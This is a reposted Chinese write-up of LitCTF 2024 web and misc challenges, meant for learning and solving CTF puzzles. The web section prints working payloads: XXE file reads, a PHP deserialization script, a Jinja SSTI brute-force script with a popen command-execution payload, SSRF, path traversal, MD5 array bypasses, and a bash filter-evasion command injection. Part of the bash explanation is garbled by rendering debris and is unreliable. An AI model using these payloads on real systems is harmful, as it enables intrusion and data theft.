0


LitCTF 2024 web&misc wp

WEB

exx

无过滤 xml 注入

<?xml version="1.0" encoding="UTF-8" ?><!DOCTYPEa[ 
<!ENTITY rabbit SYSTEM "file:///flag" >
]><user><username>&rabbit;</username><password>123</password></user>

在这里插入图片描述

SAS - Serializing Authentication

入门级反序列化

<?phpclassUser{public$username;public$password;function__construct($username,$password){$this->username=$username;$this->password=$password;}functionisValid(){return$this->username==='admin'&&$this->password==='secure_password';}}?>

直接赋值账号密码即可通过检查,题目会对其 base64 解码,所以传入 base64 加密后的代码

exp:

<?phpclassUser{public$username;public$password;}$a=newUser();$a->username="admin";$a->password="secure_password";echobase64_encode(serialize($a));?># O:4:"User":2:{s:8:"username";s:5:"admin";s:8:"password";s:15:"secure_password";}

一个…池子?

在这里插入图片描述
尝试输入{{7*7}}回显了 49,证明存在 ssti 注入

{{‘’.class.base.subclasses__()}}可以查询所有子类结果,这里用脚本爆破想要的函数


#post请求
import requests

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36'
}

for i in range(501):
    url = "xxx"
    postPara = {"input":"{{\"\".__class__.__base__.__subclasses__()["+str(i)+"]}}"}
    print(i)
    res = requests.post(url=url,headers=headers,data=postPara)
    if 'os._wrap_close' in res.text: #查找其他命令时就用其他子类
        print("be founded in:"+str(i))
        break
else:
    print("not found")
# 得到编号为137

无过滤,直接拿 flag 即可

Payload:

{{''.__class__.__bases__[0].__subclasses__()[137].__init__.__globals__['popen']('tac /flag').read()}}

浏览器也能套娃?

ssrf,伪协议读取 flag

file:///flag

在这里插入图片描述

高亮主题(划掉)背景查看器

<?php// 文件包含漏洞演示if(isset($_GET['url'])){// 读取并包含用户输入的文件$file=$_GET['url'];if(strpos($file,'..')===false){include$file;}else{echo"Access denied.";}}else{echo"No file specified.";}?>

无过滤文件包含,路径穿越直接读取

payload:

post:

theme=../../../../../../flag

百万美元的诱惑

<?phperror_reporting(0);$a=$_GET['a'];$b=$_GET['b'];$c=$_GET['c'];if($a!==$b&&md5($a)==md5($b)){if(!is_numeric($c)&&$c>2024){echo"好康的";}else{die("干巴爹干巴爹先辈~");}}else{die("开胃小菜))");}

abc 都可以采用数组绕过,payload:

?a[]=1&b[]=2&c[]=3

拿到并访问 dollar.php,发现需要绕过过滤构造出 12

<?php//flag in 12.phperror_reporting(0);if(isset($_GET['x'])){$x=$_GET['x'];if(!preg_match("/[a-z0-9;`|#'\"%&\x09\x0a><.,?*\-=\\[\]]/i",$x)){system("cat ".$x.".php");}}else{highlight_file(__FILE__);}?>

在 linux 的终端中,输入

     ( 
    
   
     ( 
    
   
     ) 
    
   
     ) 
    
   
     可以构造出 
    
   
     0 
    
   
     ,再进行取反 
    
   
  
    (())可以构造出0,再进行取反 
   
  
(())可以构造出0,再进行取反((~$(())))就可以构造出-1,其原理是对其二进制取反,00000000->0 取反则变成 11111111->-1

我们再将两个-1 合在一起并取反则是 ~(-2)->1

     ( 
    
   
     ( 
    
   
       
    
   
  
    ((~ 
   
  
(( (( 
 
  
   
   
     ( 
    
   
     ( 
    
   
       
    
   
  
    ((~ 
   
  
(( (()))) 
 
  
   
   
     ( 
    
   
     ( 
    
   
       
    
   
  
    ((~ 
   
  
(( (())))))))

由此我们可以构造出任意的数字,这里的 12 可以是对-13 取反为 12,

也可以是-2 取反和-3 取反之后合并为 12,这里我使用后者

预期 payload:

?x=$((~$(($(($((~$(())))$((~$(())))))))))$((~$(($((~$(())))$(($((~$(())))$((~$(())))))))))

题目描述已经把预期 paylaod 字符全给了,其他姿势就请自行搜索了 0.0

姬宝的好东西->https://github.com/ProbiusOfficial/bashFuck

MISC

涐贪恋和伱、甾―⑺dé 毎兮毎秒

lsb 隐写最低位
在这里插入图片描述

你说的对,但__

拿到附件 binwalk 分离出多张图片
在这里插入图片描述在这里插入图片描述
拼好扫描得到 flag

The love

拿到一个图片和一个音频文件

图片 binwalk 分离出压缩包,文件名处得到 hint:Litctf???ftclit
在这里插入图片描述

6 位纯数字密码爆破,带上头尾即可
在这里插入图片描述

解压压缩包拿到假 flag 和一个 base64 加密的 password
在这里插入图片描述

deepsound 解密得到真 flag
在这里插入图片描述

舔到最后应有尽有

base64 隐写,羊驼梭
在这里插入图片描述

女装照流量

tcp.stream eq 28 拿到 flag.php 的加密压缩包
在这里插入图片描述
随后在 tcp.stream eq 26 处找到密码
在这里插入图片描述

最后两行删掉"参数名,&,="后 base64 解密

解压后得到 flag

Every Where We Go

flag 直接放在了频谱图里,使用 Adobe 的 AU 或者 audacity 等查看频谱图即可
在这里插入图片描述

盯帧珍珠

古有盯裆猫咪,今有盯帧珍珠

题目名及描述提示表明是 gif 图片并且要注意观察每一帧

也可以通过文件大小,文件头,file 命令等知道是 GIF 图片

先改后缀名为 GIF,后发现动画中有几帧的 flag 片段

使用 stegsolve,在线网站或脚本等逐帧提取对应 flag 片段图片,拼好 flag 即可

原铁,启动!

题目描述:这都是什么通用文字呢?

题目名称得到信息: 原神崩铁

题目描述得到信息:通用字体

搜索引擎开搜即可

https://draugus.github.io/genshin/language

提瓦特通用字体

https://starrail.huijiwiki.com/wiki/%E6%96%87%E5%AD%97%E5%AF%B9%E7%85%A7%E8%A1%A8

崩铁宇宙通用文

关键,太关键了

题目描述:好像某些字符出现的频率很高哦

题目名称得到信息: 关键字加密

题目描述得到信息:字频统计

对 key.txt 的大量字符串进行字频统计得到 key:bingo

关键字解密 flag.txt 即可得到 flag

标签: 网络安全

本文转载自: https://blog.csdn.net/Nanian233/article/details/139481424
版权归原作者 Nanian233 所有, 如有侵权,请联系我们删除。

“LitCTF 2024 web&misc wp”的评论:

还没有评论